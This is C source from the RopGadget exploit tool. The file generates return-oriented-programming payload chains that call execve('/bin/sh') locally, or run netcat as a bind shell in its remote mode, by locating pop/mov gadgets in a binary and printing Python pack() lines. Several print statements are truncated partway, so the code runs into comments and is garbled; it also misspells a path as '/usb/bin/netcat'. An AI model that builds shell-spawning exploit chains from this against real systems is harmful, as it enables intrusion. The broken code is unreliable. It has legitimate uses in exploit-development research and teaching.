/* ** RopGadget - Dev v3.3 ** Jonathan Salwan - http://twitter.com/JonathanSalwan ** http://shell-storm.org ** 2011-10-18 ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ /* ** Make a payload. ** 4 parties: ** ** 1) write "/bin/sh\0" in .data or "/usr/bin/netcat\0" if -bind flag is enable ** 2) registers initialisation ** 3) initialisation of %eax for execve() syscall ** 4) call "int 0x80" or "sysenter" ** */ #include "ropgadget.h" /* linked list for gadgets */ t_makecode *add_element(t_makecode *old_element, char *instruction, Elf32_Addr addr) { t_makecode *new_element; new_element = xmalloc(sizeof(t_makecode)); new_element->addr = addr; new_element->instruction = instruction; new_element->next = old_element; return (new_element); } /* free linked list */ static void free_add_element(t_makecode *element) { t_makecode *tmp; while (element) { tmp = element; element = tmp->next; free(tmp); } } /* returns addr of instruction */ static Elf32_Addr ret_addr_makecodefunc(t_makecode *list_ins, char *instruction) { char *p; while (list_ins) { p = list_ins->instruction; while (*p != 0) { if (!match(p, instruction, strlen(instruction))) return (list_ins->addr); p++; } list_ins = list_ins->next; } return (0); } /* returns the numbers of pop in the gadget. */ static int how_many_pop(char *gadget) { int cpt = 0; char *p; p = gadget; while(*p != '\0') { if (!strncmp(p, "pop", 3)) cpt++; p++; } return (cpt); } /* returns first reg in "mov %e?x,(%e?x)" instruction */ static char *get_first_reg(char *gadget) { char *p; p = xmalloc(4 * sizeof(char)); while (*gadget != '(' && *gadget != '\0') gadget++; gadget -= 4; strncpy(p, gadget, 3); return (p); } /* returns second reg in "mov %e?x,(%e?x)" instruction */ static char *get_second_reg(char *gadget) { char *p; p = xmalloc(4 * sizeof(char)); while (*gadget != '(' && *gadget != '\0') gadget++; gadget += 2; strncpy(p, gadget, 3); return (p); } /* returns the numbers of "pop" befor pop_reg */ static int how_many_pop_before(char *gadget, char *pop_reg) { int cpt = 0; while (strncmp(gadget, pop_reg, strlen(pop_reg)) && *gadget != '\0') { if (!strncmp(gadget, "pop", 3)) cpt++; gadget++; } return (cpt); } /* returns the numbers of "pop" after pop_reg */ static int how_many_pop_after(char *gadget, char *pop_reg) { int cpt = 0; while(strncmp(gadget, pop_reg, strlen(pop_reg))) { if (*gadget == '\0') return (0); gadget++; } gadget += strlen(pop_reg); while (*gadget != '\0') { if (!strncmp(gadget, "pop", 3)) cpt++; gadget++; } return (cpt); } /* display padding */ static void display_padding(int i) { while (i != 0) { fprintf(stdout, "\t\t%sp += pack(\"*******************/ fprintf(stdout, "\t\t%sp += pack(\" %ebx = "/bin/sh\0" | %ecx = "\0" | %edx = "\0" for execve("/bin/sh", NULL, NULL)*/ static void makepartie2_local(t_makecode *list_ins) { Elf32_Addr addr_pop_ebx; Elf32_Addr addr_pop_ecx; Elf32_Addr addr_pop_edx; char *pop_ebx_gadget; char *pop_ecx_gadget; char *pop_edx_gadget; addr_pop_ebx = ret_addr_makecodefunc(list_ins, "pop %ebx"); addr_pop_ecx = ret_addr_makecodefunc(list_ins, "pop %ecx"); addr_pop_edx = ret_addr_makecodefunc(list_ins, "pop %edx"); pop_ebx_gadget = get_gadget_since_addr(addr_pop_ebx); pop_ecx_gadget = get_gadget_since_addr(addr_pop_ecx); pop_edx_gadget = get_gadget_since_addr(addr_pop_edx); /* set %ebx */ fprintf(stdout, "\t\t%sp += pack(\" %ebx = "/usb/bin/netcat\0" | %ecx = arg | %edx = "\0" */ static void makepartie2_remote(t_makecode *list_ins) { Elf32_Addr addr_pop_ebx; Elf32_Addr addr_pop_ecx; Elf32_Addr addr_pop_edx; char *pop_ebx_gadget; char *pop_ecx_gadget; char *pop_edx_gadget; addr_pop_ebx = ret_addr_makecodefunc(list_ins, "pop %ebx"); addr_pop_ecx = ret_addr_makecodefunc(list_ins, "pop %ecx"); addr_pop_edx = ret_addr_makecodefunc(list_ins, "pop %edx"); pop_ebx_gadget = get_gadget_since_addr(addr_pop_ebx); pop_ecx_gadget = get_gadget_since_addr(addr_pop_ecx); pop_edx_gadget = get_gadget_since_addr(addr_pop_edx); /* set %ebx */ fprintf(stdout, "\t\t%sp += pack(\" 0 */ fprintf(stdout, "\t\t%sp += pack(\" 0xb for sys_execve() */ while (i != 0xb) { fprintf(stdout, "\t\t%sp += pack(\"